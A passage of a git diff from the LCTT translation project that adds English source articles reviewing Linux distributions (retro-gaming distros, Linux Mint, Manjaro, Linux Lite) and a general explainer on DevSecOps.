https://opensource.com/sites/default/files/2022-06/sketchnote2version.png +[12]: https://opensource.com/sites/default/files/2022-06/SketchnoteKubernetesvsOpens.png +[13]: https://opensource.com/sites/default/files/2022-06/sketchnotestechwriter.png +[14]: https://www.verbaltovisual.com/what-is-sketchnoting/ +[15]: https://thenounproject.com/ +[16]: https://creativemarket.com/blog/50-awesome-resources-to-create-visual-notes-graphic-recordings-sketchnotes +[17]: https://sketchnote-love.com/en/sketchnotes-tutorial/ diff --git a/sources/tech/20220625 Linux Distros That Turn Your PC into Retro Gaming Console.md b/sources/tech/20220625 Linux Distros That Turn Your PC into Retro Gaming Console.md new file mode 100644 index 0000000000..a121e506ad --- /dev/null +++ b/sources/tech/20220625 Linux Distros That Turn Your PC into Retro Gaming Console.md @@ -0,0 +1,138 @@ +[#]: subject: "Linux Distros That Turn Your PC into Retro Gaming Console" +[#]: via: "https://itsfoss.com/retro-gaming-console-linux-distros/" +[#]: author: "Ankush Das https://itsfoss.com/author/ankush/" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +Linux Distros That Turn Your PC into Retro Gaming Console +====== + +[Steam Deck][1] is making news for all the right reasons. It is a fantastic piece of tech, powered by a variant of Arch Linux (SteamOS 3.0) developed by Valve. + +While you can install any other operating system in it, it is best to have it as it is for convenience. + +Unfortunately, Steam Deck or anything similar is not available everywhere. So, what if you can convert your system to a Linux-powered retro gaming console using a distribution? + +### Turn your PC into a Retro Gaming Console With These Linux Distros + +Of course, with a retro gaming console, you can’t expect to play the latest and greatest, but if you are looking for something interesting, this should take your eyes off the Steam Deck. Or, maybe if you already have a modern gaming console/system, you can play some retro games for a change. + +Some distributions also support Raspberry Pi. So, it can be one of your [Raspberry Pi project ideas][2] if you want to put some good use to it. + +#### 1. Batocera.linux + +![A Video from YouTube][3] + +A perfect open-source retro-gaming distribution that can work via a USB or an SD card. This enables you to convert any type of computer to your personal retro gaming machine in no time. + +In fact, it is also one of the [best Linux distributions for gaming][4]. + +In other words, it is a plug-and-play distribution that lets you play any of the retro games you own. It features a powerful emulator to help you run supported games along with numerous features to customize shaders, themes, etc. + +You can check its [official compatibility list][5] to know the supported emulated games. You should find plenty of supported games to get started. + +Note that it does not include any games, you will have to ensure that you own/have the game files that you want to run. For more information, you can explore its [GitHub page][6]. + +[Batocera.linux][7] + +#### 2. Lakka + +![lakka linux][8] + +Lakka is a lightweight Linux distribution that can transform your computer/Raspberry Pi into a retro gaming console. + +Note that it is the official Linux distribution of [RetroArch][9] and libretro ecosystem. Both combined give you a usable retro gaming experience. + +It offers a nice, minimal user interface to let anyone comfortably use the distro. Like the previous option, you can install it on your USB flash drive or the SD card. The project says that it is under heavy development, but is a popular option for playing retro games. + +[Lakka][10] + +### 3. RetroPie + +![retropiewebsitelogo][11] + +One of the easy projects to put your Raspberry Pi for some good use. + +RetroPie is a Linux distribution tailored for Raspberry Pi but also supports ODroid, and PCs to help you convert it into a retro gaming machine. + +It is based on Raspbian, EmulationsStations, and uses projects like RetroArch to give you the experience of a home console with minimal setup. + +If you like customizing your setup, it also allows a variety of configuration tools for advanced users. + +For instance, you also use Kodi from within it by installing it from the menu. Of course, you might want to look at some [media server tools][12] if you want specifically for entertainment and movies. + +You can grab the RestroPie image to get started on your system or install it on top of Raspbian, as you prefer. + +[RetroPie][13] + +### 4. Retro Home (Alpha Builds) + +![retro home][14] + +An unofficial Ubuntu-based Linux distribution for Raspberry Pi by the creator of Ubuntu MATE. It supports Raspberry Pi 2, 3, 4, and 400 as of now. You can also boot from USB. + +It utilizes [Ludo][15] to present a minimal frontend to work with the emulators. + +You can find the images in its GitHub releases section. Additionally, a script is available that builds Retro Home images. If you are curious to give it a try, you can check out its [GitHub page][16] to know more. + +[Retro Home][17] + +### 5. ChimeraOS + +![steam library chimera][18] + +For a change, if you want to play modern games along with the support for retro consoles from a single platform, ChimeraOS can help you out. + +While it starts with a Steam picture mode to give you the convenience, you can also play games using GOG, Epic Games Store, and Flathub as well. + +It should be an interesting option to try if you haven’t already. Head to its [GitH][19][u][20][b page][21] to know more. + +[ChimeraOS][22] + +### Wrapping Up + +You can always use game emulator programs, or directly play games using Steam, Lutris, or more (refer to our [gaming guide][23] if you’re new to gaming on Linux). + +However, it is always a different experience when you convert your entire system to a console-like experience using some of these Linux distributions. And, what’s more exciting than a retro game console powered by Linux? + +*Have you tried out any of the mentioned options? Did we miss any of your favorites? Let us know in the comments.* + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/retro-gaming-console-linux-distros/ + +作者:[Ankush Das][a] +选题:[lkxed][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/ankush/ +[b]: https://github.com/lkxed +[1]: https://store.steampowered.com/steamdeck +[2]: https://itsfoss.com/raspberry-pi-projects/ +[3]: https://youtu.be/C1sw55VAj5E +[4]: https://itsfoss.com/linux-gaming-distributions/ +[5]: https://batocera.org/compatibility.php +[6]: https://github.com/batocera-linux/batocera.linux +[7]: https://batocera.org/ +[8]: https://itsfoss.com/wp-content/uploads/2022/06/lakka-linux.jpg +[9]: https://www.retroarch.com/ +[10]: https://www.lakka.tv/ +[11]: https://itsfoss.com/wp-content/uploads/2022/06/RetroPieWebsiteLogo.png +[12]: https://itsfoss.com/best-linux-media-server/ +[13]: https://retropie.org.uk/ +[14]: https://itsfoss.com/wp-content/uploads/2022/06/retro-home-800x450.jpg +[15]: https://ludo.libretro.com/ +[16]: https://github.com/wimpysworld/retro-home +[17]: https://github.com/wimpysworld/retro-home +[18]: https://itsfoss.com/wp-content/uploads/2022/06/steam-library-chimera-800x450.jpg +[19]: https://github.com/ChimeraOS/chimeraos +[20]: https://github.com/ChimeraOS/chimeraos +[21]: https://github.com/ChimeraOS/chimeraos +[22]: https://chimeraos.org/ +[23]: https://itsfoss.com/linux-gaming-guide/ diff --git a/sources/tech/20220626 Linux Mint- The Beginner-Friendly Linux Operating System for Everyone.md b/sources/tech/20220626 Linux Mint- The Beginner-Friendly Linux Operating System for Everyone.md new file mode 100644 index 0000000000..404743dc1f --- /dev/null +++ b/sources/tech/20220626 Linux Mint- The Beginner-Friendly Linux Operating System for Everyone.md @@ -0,0 +1,168 @@ +[#]: subject: "Linux Mint: The Beginner-Friendly Linux Operating System for Everyone" +[#]: via: "https://www.debugpoint.com/linux-mint" +[#]: author: "Arindam https://www.debugpoint.com/author/admin1/" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +Linux Mint: The Beginner-Friendly Linux Operating System for Everyone +====== +This article contains all the necessary information you need for Linux Mint and helps you to learn and make a wise decision on your journey with this operating system. + +![Linux Mint: The King of all distros][1] + +Linux Mint is a Ubuntu LTS-based (Long Term Support) Linux operating system which brings an out-of-the-box computing experience. This distribution is designed with such a craft that it can act as a go-to Linux for new users, beginners, advanced users, casual users and so on. Moreover, many use Linux Mint as a safe distro to recover a broken system. + +On August 27, 2006, Clement Lefebvre created Linux Mint, which millions of users use today. The development effort also includes huge community support with the help of generous Linux Mint sponsors. + +![The Linux Mint Logo][2] + +### Linux Mint Releases + +Linux Mint does not follow any official schedule. If you are wondering when a new version of Linux Mint would be, the answer is – “Linux Mint releases when it’s ready”. + +However, as per recent trends, Linux Mint releases one major version per year and three minor versions at approx 6-months intervals. In addition, five years’ worth of support is available for each major version. + +### Code Names + +The mint team gives a code name to each release version (major and minor). In addition, code names start with an increasing sequence of the English alphabet. And always ends with an “a”. Moreover, the names are generally feminine in nature. For example, “Tara”, “Ulyana”, etc. + +### Features + +Linux Mint provides ISO images for free download and installation. By default, the ISO image contains all the necessary software that you may require for your work and play. For example, Linux Mint provides LibreOffice, a web browser, email Client, Firewall utility, backup and system restore software and many more. Moreover, peripheral devices such as Printers, webcams, wireless devices, and Bluetooth speakers – all work out of the box. That means you do not need to look for the driver. + +### Desktop Editions + +There are three primary desktop variants or editions available with Linux Mint. They are: + +* Cinnamon Edition (Flagship) +* Xfce Edition +* MATE Edition + +The Cinnamon Edition features the stunning Cinnamon desktop environment and is the recommended version for Linux Mint. Moreover, if you ever have to decide which one of the above flavours, go for Cinnamon Edition. + +Other than that, Xfce and MATE editions feature their respective desktops. It’s all about your taste and preferences to choosing the one. + +But, at the core, all the above are similar, running the Linux Mint packages. + +### Software + +The more important aspect of Linux Mint is its own set of applications. The devs create some fantastic software with their user base in mind. Here’s a list of native applications that it provides: + +* Nemo File Manager (best file manager ever!) +* Sticky Notes +* Screenshot tool +* Warpinator (File transfer via network) +* Celluloid Video Player +* Hypnotix ([IPTV player][3]) +* Timeshift (System restore point creator) + +In addition, it pre-loads all sorts of necessary applications such as sticky notes, firewall management, web browser, disk partition software and LibreOffice. In summary, you do not require additional software for a general use case. + +### System Requirement + +Linux Mint can run on older to newer hardware. And its system requirement is very flexible. During our multiple tests, we could run it in 12+ years old hardware without any problem. However, here’s the minimum system requirement of Linux Mint. + +* 2 GB RAM (Recommended 4 GB) +* 20 GB of hard-drive space (Recommended 100 GB) +* Display of 1024×768 resolution +* Either a CD/DVD drive or a USB port for the installation media +* Internet access (optional) + +This distro primarily supports amd64 (64-bit) architecture from version 20.x onwards, and no 32-bit support is available. Because of its parent OS, Ubuntu dropped 32-bit support from Ubuntu 20.04 LTS. + +However, Linux Mint Debian Edition (LMDE) still support 32-bit architecture because it is based on the Debian Operating system. + +### Download Details + +Linux Mint provides all the editions as direct download ISO files and torrents. There are mirrors available in many countries to help you download from a nearby source. Download links are present at the . + +### Screenshots + +Here are some of the screenshots of this distribution. + +![Cinnamon Desktop - image 1][4] + +![Cinnamon Desktop - image 2][5] + +![Cinnamon Desktop - image 3][6] + +### FAQ + +Yes, it is free to download and use. The upgrades are also free because Linux Mint is a free and open-source operating system. + +Among all the Linux operating systems, Linux Mint is the best for beginners. If you are planning to kick-start your Linux journey, this is a perfect distro to start with. + +Theoretically, you can install Linux Mint in Windows 10 or 11. But you have to run it under a virtual machine such as Virtual Box. + +We recommend using the flagship Cinnamon edition for the best experience. However, you can also use the Xfce, MATE or the Debian edition. + +This is a difficult question to answer. Both are great pieces of the operating systems. However, we think Mint is best because it is more user-friendly and convenient (e.g. Snap fiasco) than Ubuntu. + +### Recent Articles and Reviews + +* [Linux Mint 21 – Announcement][7] +* [5 Reasons to switch to Linux Mint][8] +* [Give your Linux Mint a Makeover with Twister UI][9] +* [Linux Mint Debian Edition 5 – Review][10] +* [New Mint Upgrade tool – Everything you need to know][11] +* [10 Things to do after installing Linux Mint][12] +* [Linux Mint 20 – Everything you need to know][13] +* [How to enable Snap packages in Linux Mint][14] +* [Linux Mint 20.1 – Everything you need to know][15] +* [Linux Mint 20.2 – Everything you need to know][16] + +### Summary + +| Page | Link | +| :- | :- | +| Home Page | https://linuxmint.com/ | +| Official Forum | https://forums.linuxmint.com/ | +| Official News and Blog | https://blog.linuxmint.com/ | +| Community and collaboration | https://community.linuxmint.com/ | +| Source Code (GitHub) | https://www.github.com/linuxmint | +| Documentation | https://linuxmint.com/documentation.php | +| Official download | https://linuxmint.com/download.php | +| Official download (all together) | https://linuxmint.com/download_all.php | +| BETA Test images | https://community.linuxmint.com/iso | + +-------------------------------------------------------------------------------- + +via: https://www.debugpoint.com/linux-mint + +作者:[Arindam][a] +选题:[lkxed][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.debugpoint.com/author/admin1/ +[b]: https://github.com/lkxed +[1]: https://www.debugpoint.com/wp-content/uploads/2022/06/linuxmint-logo-1024x576.jpg +[2]: https://www.debugpoint.com/wp-content/uploads/2022/06/The-Linux-Mint-Logo-1024x247.jpg +[3]: https://www.debugpoint.com/wp-content/uploads/2020/12/Hypnotix-IPTV-Player-Linux-Mint-20.1.jpg +[4]: https://i1.wp.com/www.debugpoint.com/wp-content/uploads/2022/06/Cinnamon-Desktop-image-1-1024x635.jpg?ssl=1 +[5]: https://i2.wp.com/www.debugpoint.com/wp-content/uploads/2022/06/Cinnamon-Desktop-image-2-1024x634.jpg?ssl=1 +[6]: https://i0.wp.com/www.debugpoint.com/wp-content/uploads/2022/06/Cinnamon-Desktop-image-3-1024x634.jpg?ssl=1 +[7]: https://www.debugpoint.com/linux-mint-21-announcement/ + +[8]: https://www.debugpoint.com/5-reasons-to-switch-to-linux-mint/ + +[9]: https://www.debugpoint.com/twister-ui-2022/ + +[10]: https://www.debugpoint.com/linux-mint-debian-edition-5-review/ + +[11]: https://www.debugpoint.com/mint-upgrade-tool/ +[12]: https://www.debugpoint.com/10-things-to-do-after-installing-linux-mint-20/ +[13]: https://www.debugpoint.com/linux-mint-20/ +[14]: https://www.debugpoint.com/how-to-enable-snap-package-in-linux-mint-20/ +[15]: https://www.debugpoint.com/linux-mint-20-1-ulyssa-new-features-and-release-dates/ +[16]: https://www.debugpoint.com/linux-mint-20-2-release-announcement/ +[17]: https://t.me/debugpoint +[18]: https://twitter.com/DebugPoint +[19]: https://www.youtube.com/c/debugpoint?sub_confirmation=1 +[20]: https://facebook.com/DebugPoint +[21]: https://t.me/debugpoint diff --git a/sources/tech/20220626 Manjaro Linux Review- Detailed deep-dive with Performance, Hardware Support + More.md b/sources/tech/20220626 Manjaro Linux Review- Detailed deep-dive with Performance, Hardware Support + More.md new file mode 100644 index 0000000000..6edc8aaed2 --- /dev/null +++ b/sources/tech/20220626 Manjaro Linux Review- Detailed deep-dive with Performance, Hardware Support + More.md @@ -0,0 +1,155 @@ +[#]: subject: "Manjaro Linux Review: Detailed deep-dive with Performance, Hardware Support + More" +[#]: via: "https://www.debugpoint.com/manjaro-linux-review-2022/" +[#]: author: "Arindam https://www.debugpoint.com/author/admin1/" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +Manjaro Linux Review: Detailed deep-dive with Performance, Hardware Support + More +====== + +We review the [Manjaro Linux][1] with decade-old hardware and new hardware to test how it performs. Here are the results. + +![Manjaro Linux 21.3 GNOME Desktop][2] + +A few days back, we received several comments on why we have not included “Manjaro Linux” in the article we published – “[best Linux Distributions of 2022][3]“. So, I decided to review Manjaro’s current state and performance in various aspects of a desktop Linux operating system. + +I will be honest. I was slightly biased on Manjaro while drafting the above article, primarily due to several media coverages ([source 1][4], [source 2][5], [source 3][6]). However, when I saw the latest feedback of Manjaro in several forums, I thought, let’s find out about the actual state of this fantastic distro. + +Hence this review. + +### Manjaro Review and Experience + +#### Test Machine + +Those who spend longer time in the Linux world know how complicated a situation can be with the above hardware from two famous (🥵) companies. I decided to test Majnaro in two ways. Firstly, on older hardware (10+ years old) with a complex NVIDIA GeForce card and Broadcom chip. + +Second, in a standard virtual machine. + +#### ISO Download and Installation + +Firstly, the download from the official website of Manjaro via torrent went fine. The mirrors are super fast. I choose the Manjaro Linux GNOME Edition for this review which is around 3.2 GB download size. The primary reason for choosing GNOME is that it’s easier to compare with other non-Arch distros. + +Secondly, the installation launcher is easy to find on the Manjaro LIVE desktop. The OS installer icon is at the GNOME default dock. + +The installation was flawless of Manjaro Linux. It uses the Calamares installer. In both test and virtual machines, it preserved the GRUB. The physical system is a triple boot machine, and Manjaro did not mess up the GRUB. It detected all the operating systems. + +Additionally, here’s one tiny observation related to boot. Manjaro Linux boot screen gives you two options – a) boot with an open-source driver and b) boot with a proprietary driver. When I tried to boot with the proprietory driver, Majnaro did not boot. It is stuck on the boot screen with “Starting GNOME Display Manager”. It looks like the NVIDIA card support problem (although it is out of support which I found later). Eventually, I installed it via the open-source driver option. + +#### First Look + +This review is based on Manjaro 21.3, the latest version as of writing this. The GNOME 42 desktop with Manjaro’s green-ish theme looks stunning. GNOME 42 brings the latest GTK4 applications in its core Shell. Overall the desktop seems nice and clean. + +The Manjaro Hello – the official welcome screen- is a much-needed app that gives you quick access to various tasks. It is an essential app for new users mostly. + +A set of nice Manjaro wallpapers give the desktop a professional feel. + +#### Friendliness with Manjaro tools for a new Arch User + +In addition to the above, Manjaro also brings two crucial native applications. + +The first one is Manjaro Settings Manager, which gives you easy access to perform several system tasks without running commands in the terminal. This app provides the following features: + +* Install and remove additional and experimental Kernels +* User account management +* Keyboard layout changes +* Language changes +* Hardware detection and installation of drivers + +The second app is the Graphical Software Manager pamac. Pamac allows you to manage the software sources and search, install and uninstall software in the most convenient way possible. It also gives you access to many software, especially in Manjaro’s repo, in addition to usual Arch Linux repos. + +![Pamac][7] + +In addition, the GNOME flavour of Manjaro has the Extensions app pre-installed with several unique GNOME native apps installed. Thanks to the Manjaro devs, Flatpak support is present out of the box! + +All of these small but impactful changes make it a great distro. + +#### Connectivity and Drivers + +Most of the connectivity worked fine in this hardware. However, there were some roadblocks. + +Firstly, the Broadcom wireless card (BCM4313) worked out of the box, thanks to the Manjaro developers. Because, a few months back, when I ran the bare-metal Arch Linux with Xfce, the vanilla Arch Linux Kernel did not detect it. By default, Manjaro uses the open-source broadcom-r8168 driver. + +I am glad it worked and connecting to the 4G Wi-Fi access point also went smoothly. + +![Network Driver][8] + +Secondly, the connection to a Bluetooth audio device also went well. Also, plug-and-play wireless USB devices worked fine. + +Two important aspects did not go well in this hardware. Although, the Manjaro Hardware Configuration detected the NVIDIA GeForce 315M and assigned the video-linux driver. The display resolution is maxed at 1376×768, but probably this driver has limited support. + +![Resolution in test system][9] + +Similarly, when I tested the Linux Mint Cinnamon edition in this hardware, it was detected perfectly, and several high-resolution options were present. + +Upon further digging in the Majnaro Forum, I found that the official driver for this card (nvidia-340) is officially removed as its an obsolete card. However, there are [some instructions][10] to compile the driver from GitHub – but that’s too much of an effort. + +![Graphics Driver detected by Manjaro][11] + +Secondly, the printer did not work at all. My printer is HP 2300 deskjet series. GNOME settings can detect the printer (see below), but the “Add Printer” function fails. + +![Printer is shown in Settings][12] + +![Add Printer did not work][13] + +Because Linux has excellent printer support – thanks to CUPS. The same printer works well with all other recent Linux distributions, even with GNOME. I am not particularly sure why it didn’t work. Also, I think it might be something to do with GNOME Shell and its settings, not Manjaro Linux itself. + +Besides these, Manjaro Linux brings Onlyoffice and Geary for office suite and email access, respectively. + +#### Performance + +One reason for trying out this distribution in a physical system is the performance metric. If it performs well in older hardware, it may run blazing fast in modern hardware. + +In an idle state, Manjaro Linux GNOME Edition uses only 740 MB of RAM and 2% to 3% CPU in this hardware. The overall responsiveness of the desktop is fast; there is no lag whatsoever. It’s an impressive performance considering the physical system. + +![Manjaro Linux Performance (Idle State with GNOME)][14] + +Moreover, if you run it through a heavy workload, the performance would be slightly higher based on how many programs or applications you run. + +But overall, Mankjaro Linux performs very well. + +Finally, it uses ~10 GB of disk space for a default install (GNOME Edition). + +### Closing Notes + +Wrapping up the Manjaro Linux Review, I must say, it is indeed a time-tested distribution which brings Arch Linux to the masses. Also, I think Manjaro is the first distro which shows that Arch Linux can be a friendly distro with easy installation. Moreover, it shows the path to many similar “friendly Arch” distros which came up recently, such as EndeavourOS. + +Because it is well designed to provide a wrapper to the “Arch Linux is difficult” myth. In addition, once you start using it, you wouldn’t feel it is an Arch Linux. It may feel like a Debian-based or a Fedora-based distro. + +However, as always, it’s better to try modern Linux distributions in “not-so-old” hardware, which we used for this review. A five-year to 10-year-old hardware is fine. But beyond that, it’s necessary to upgrade the hardware because the modern operating systems (Linux or Windows) require more computing power due to security and other built-in functionalities (fingerprint, video conferencing, etc.), which are needed with the changing time. + +Finally, you can easily choose Manjaro Linux for a daily driver or your workflow. + +What is your opinion about Majnaro? Let me know in the comment box below (good or bad). + +Cheers. + +-------------------------------------------------------------------------------- + +via: https://www.debugpoint.com/manjaro-linux-review-2022/ + +作者:[Arindam][a] +选题:[lkxed][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.debugpoint.com/author/admin1/ +[b]: https://github.com/lkxed +[1]: https://manjaro.org/ +[2]: https://www.debugpoint.com/wp-content/uploads/2022/06/Manjaro-Linux-21.3-GNOME-Desktop.jpg +[3]: https://www.debugpoint.com/best-linux-distributions-2022/ +[4]: https://www.reddit.com/r/linux4noobs/comments/oxeeyu/please_please_stop_recommending_beginners_manjaro/ +[5]: https://www.hadet.dev/Manjaro-Bad/ +[6]: https://github.com/arindas/manjarno +[7]: https://www.debugpoint.com/wp-content/uploads/2022/06/Pamac.jpg +[8]: https://www.debugpoint.com/wp-content/uploads/2022/06/Network-Driver.png +[9]: https://www.debugpoint.com/wp-content/uploads/2022/06/Resolution-in-test-system.png +[10]: https://forum.manjaro.org/t/howto-get-legacy-340xx-nvidia-drivers-back/46969 +[11]: https://www.debugpoint.com/wp-content/uploads/2022/06/Graphics-Driver-detected-by-Manjaro.png +[12]: https://www.debugpoint.com/wp-content/uploads/2022/06/Printer-is-shown-in-Settings.png +[13]: https://www.debugpoint.com/wp-content/uploads/2022/06/Add-Printer-did-not-work.png +[14]: https://www.debugpoint.com/wp-content/uploads/2022/06/Manjaro-Linux-Performance-Idle-State-with-GNOME.png diff --git a/sources/tech/20220627 DevSecOps- A Philosophy that Puts Security First.md b/sources/tech/20220627 DevSecOps- A Philosophy that Puts Security First.md new file mode 100644 index 0000000000..c72f21ce5a --- /dev/null +++ b/sources/tech/20220627 DevSecOps- A Philosophy that Puts Security First.md @@ -0,0 +1,91 @@ +[#]: subject: "DevSecOps: A Philosophy that Puts Security First" +[#]: via: "https://www.opensourceforu.com/2022/06/devsecops-a-philosophy-that-puts-security-first/" +[#]: author: "Jonathan Pereira https://www.opensourceforu.com/author/jonathan-pereira/" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +DevSecOps: A Philosophy that Puts Security First +====== +DevOps has helped remove barriers between development and operations, to improve productivity as well as the reliability of software. However, it has fallen short on some aspects such as security, leading to the emergence of the DevSecOps philosophy. Find out more about it in this article. + +![DevSecOps featured][1] + +Though a lot of people understand the security concerns that are inherent in DevOps, most do not know how to overcome the problem. The new security-focused spin-off DevSecOps could solve these problems if implemented properly. + +In order to understand and appreciate DevSecOps, we first need to understand the benefits and the shortcomings of DevOps. + +#### Pros of DevOps + +*Reduced time-to-market:* Not too long ago, it used to take anywhere close to a year or two for a simple software release, with big companies claiming that they would need to estimate time, resources, and the manpower required to complete a task, and so on. Today there are companies that are shipping out software on a daily basis. This has been possible because of the adoption of the DevOps philosophy. + +*Global presence:* DevOps has without a doubt helped companies manage a global presence. Rewinding back a few years, only the major players in the field of software development were able to ship their software across the globe. Today, that has almost entirely changed as a company situated in India can assist a client from any corner of the world. Similarly, Indian customers can get the services of any company located anywhere in the world. + +*Software democratisation:* One of the reasons why companies demanded a lot of time to build software was because they had to literally develop everything from scratch. Every library and all the necessary tools had to be built from the ground up, which was a huge task. But today that has changed completely, as all the required libraries that can perform basic tasks can be used by anyone, and a developer can just start to build on top of these like a matrix. This is a convenience, especially for those who rely heavily on these libraries. A good example of this is what React and Angular have been doing for Web development. + +#### The con: Lagging security practices + +However, software security still lags behind in spite of all the progress that is being made. We get to hear about major data breaches occurring around the world and often in large companies even to this day. One of the biggest data breaches happened at Equifax in 2017 on 13th May and was not discovered until 29th July! Once the breach was discovered, effective action was taken within 24 hours. However, a lot of sensitive data such as credit card details, social security numbers, and other important documents were accessed over the two-month period. According to some estimates, almost half of the American population was impacted. + +#### Damages incurred due to poor security + +In India, awareness about such security concerns is low, so the severity of this might be hard to grasp for us. These types of data breaches tend to occur from time to time in our country as well. Here are some of the major data breaches that have taken place in India just over the last year. + +There was a data breach at Bigbasket in October 2021, which sacrificed the information of over 20 million people. Then there was a breach at Juspay, a payment gateway, in which over 35 million people’s primary information such as names and addresses, as well as financial details such as card numbers and banking credentials were revealed. In a security breach at Dominos, the data of over one million people was put at risk. Another major breach occurred very recently at Air India, where over 4.5 million people were affected. +According to research by IBM, it has been found that the average cost of a data breach is over 5 million US dollars. But what is interesting is that it is about 30 times cheaper to fix the defects during the development stage of software, compared to once it goes out into production. Though this is still a considerable amount of money, at least it saves companies from incurring a bigger loss. + +So the people behind the development of DevOps are now fostering a new paradigm or a philosophy, which they term as ‘Dev + Sec + Ops’ (philosophy of integrated security practices within the DevOps process). This basically integrates security practices with the existing DevOps process and philosophy to make sure that security is the most important aspect in every stage of software development, and not an afterthought. + +| Tools available at your disposal | +| :- | +| Some of the tools that are already being put to use in the DevOps toolchain can be used to manage DevSecOps too. No new tools are needed for DevSecOps. Tools such as Jira, Git, Gradle, and Selenium are a few that can be used for planning, coding, building and testing software. They are used in DevOps but are compliant with DevSecOps as well — it is just a matter of how they are implemented. Tools such as Puppet, Chef, and Sensu can be used for deployment, operation and monitoring (refer to Figure 2). | + +#### What exactly is DevSecOps? + +DevSecOps is still in its early phases and is continuing to mature. There are already a whole bunch of tools available, but there is still plenty of work to be done. The first important aspect that it covers is that it helps in identifying the security issues, unlike in DevOps where these are generally just an afterthought. The security team goes through a higher level of overview and makes sure that security is on point, before giving the final nod in the development process. + +DevSecOps also gives speed and agility to the security team so they can figure out the issues right from the word go rather than finding them at the end. It allows them to respond to the changes rapidly when there are a lot of new laws that have to be abided by such as the General Data Protection Regulation (GDPR). When the security team is involved from the beginning, it helps them to deal with issues more swiftly. More importantly, it helps to create more automated builds, and more QA testing can be done. + +Automating the entire process in DevOps is a very crucial aspect, and is one of the core pillars on which it stands today. The more things can be structured and automated the better the software is, as it tends to be more scalable that way. Automation helps in maintaining better communication between the security and development teams, which is something DevOps has always advocated. + +![Figure 1: Detailed DevOps workflow][2] + +Figure 1 depicts the workflow that DevOps usually advocates, on top of which the layers of security are supposed to be added at the planning stage. This is the stage at which the security team is already thinking about what kind of threat model policies they want to build in, and the issues that they could possibly encounter when deploying the final product. +Once the coding pipeline where code is being generated is reached, the static analysis and code reviews are to be done dynamically. When it gets into testing, the security team must make sure that the code is hardened against the known vulnerabilities. This will significantly lower the risk of attacks. Some kind of pen testing can be done while making sure that the security planning happens at the planning stage itself and not at the test stage. + +Once the code is ready to be deployed, it is essential to continuously monitor and assess it for any kind of threats and vulnerabilities so that the application is not impacted. It must also meet all necessary compliances. + +![Figure 2: Integration of various DevOps tools with DevSecOps tools][3] + +#### The benefits of using security as code + +As much as the automation of the entire workflow is important, there is an extent to which it can be done using tools. Managing a single server manually is not a big deal, but to manage tens of thousands of servers together every day can be super challenging. A code can be put in place in the form of an application, which can very easily manage these servers on its own. It can be instructed to do so according to the required security protocol. Let us look at some of the benefits of using security as code. + +*Collaboration:* A code is an unambiguous common language that can be understood by literally everyone, even if a person doesn’t have any prior understanding of it. Anyone can learn to code and it will perform the same way wherever it is implemented. This makes it significantly easier to work with people from all walks of life. + +*Scalability:* It is highly scalable. Irrespective of the number of servers or nodes being managed, a piece of code is going to perform the same way wherever it has been deployed. This leaves almost no room for error and minimises the risk of malfunctions. + +*Visibility:* Since the code is always visible, it can be edited anytime it is necessary to do so. Whenever there is a bug that might cause any kind of hindrance, it can be rectified very easily without any significant damage. It can be altered at will at any given point of time. + +It’s a no-brainer that security shall always be the utmost priority for anything that you do on the Web, and anything that comprises system hardware and software. Weak security can lead to irreversible losses. Hence, it becomes imperative for developers to implement foolproof security using evolving philosophies like DevSecOps. + +*Transcribed and curated by Laveesh Kocher* + +-------------------------------------------------------------------------------- + +via: https://www.opensourceforu.com/2022/06/devsecops-a-philosophy-that-puts-security-first/ + +作者:[Jonathan Pereira][a] +选题:[lkxed][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.opensourceforu.com/author/jonathan-pereira/ +[b]: https://github.com/lkxed +[1]: https://www.opensourceforu.com/wp-content/uploads/2022/05/DevSecOps-featured.jpg +[2]: https://www.opensourceforu.com/wp-content/uploads/2022/05/Figure-1-Detailed-DevOps-workflow.jpg +[3]: https://www.opensourceforu.com/wp-content/uploads/2022/05/Figure-2-Integration-of-various-DevOps-tools-with-DevSecOps-tools.jpg diff --git a/sources/tech/20220627 Linux Lite 6 Review- Well Designed -bridging-distro- for Windows Users.md b/sources/tech/20220627 Linux Lite 6 Review- Well Designed -bridging-distro- for Windows Users.md new file mode 100644 index 0000000000..ab00a534ae --- /dev/null +++ b/sources/tech/20220627 Linux Lite 6 Review- Well Designed -bridging-distro- for Windows Users.md @@ -0,0 +1,100 @@ +[#]: subject: "Linux Lite 6 Review: Well Designed “bridging-distro” for Windows Users" +[#]: via: "https://www.debugpoint.com/linux-lite-6-review/" +[#]: author: "Arindam https://www.debugpoint.com/author/admin1/" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +Linux Lite 6 Review: Well Designed “bridging-distro” for Windows Users +====== + +**We took [Linux Lite 6 “Fluorite”][1] for a test drive in a physical and virtual machine for a review.** + +It has been more than a year since we reviewed the Linux Lite distribution. The [last review][2] was for its 5.0 series. And it’s time for a refreshed review of this excellent distribution with its latest major release Linux Lite 6.0. + +Linux Lite 6.0, AKA Linux Lite OS, is based on Ubuntu and follows its LTS (Long Term Support) lifecycle. That means you get a similar release schedule and security updates for five years following Ubuntu Linux. The lightweight desktop environment – Xfce is the primary and only desktop it offers. Linux Lite OS primarily focuses on Windows users who want to kick start their Linux journey. Hence you may think of it as a “bridging” Linux operating system. + 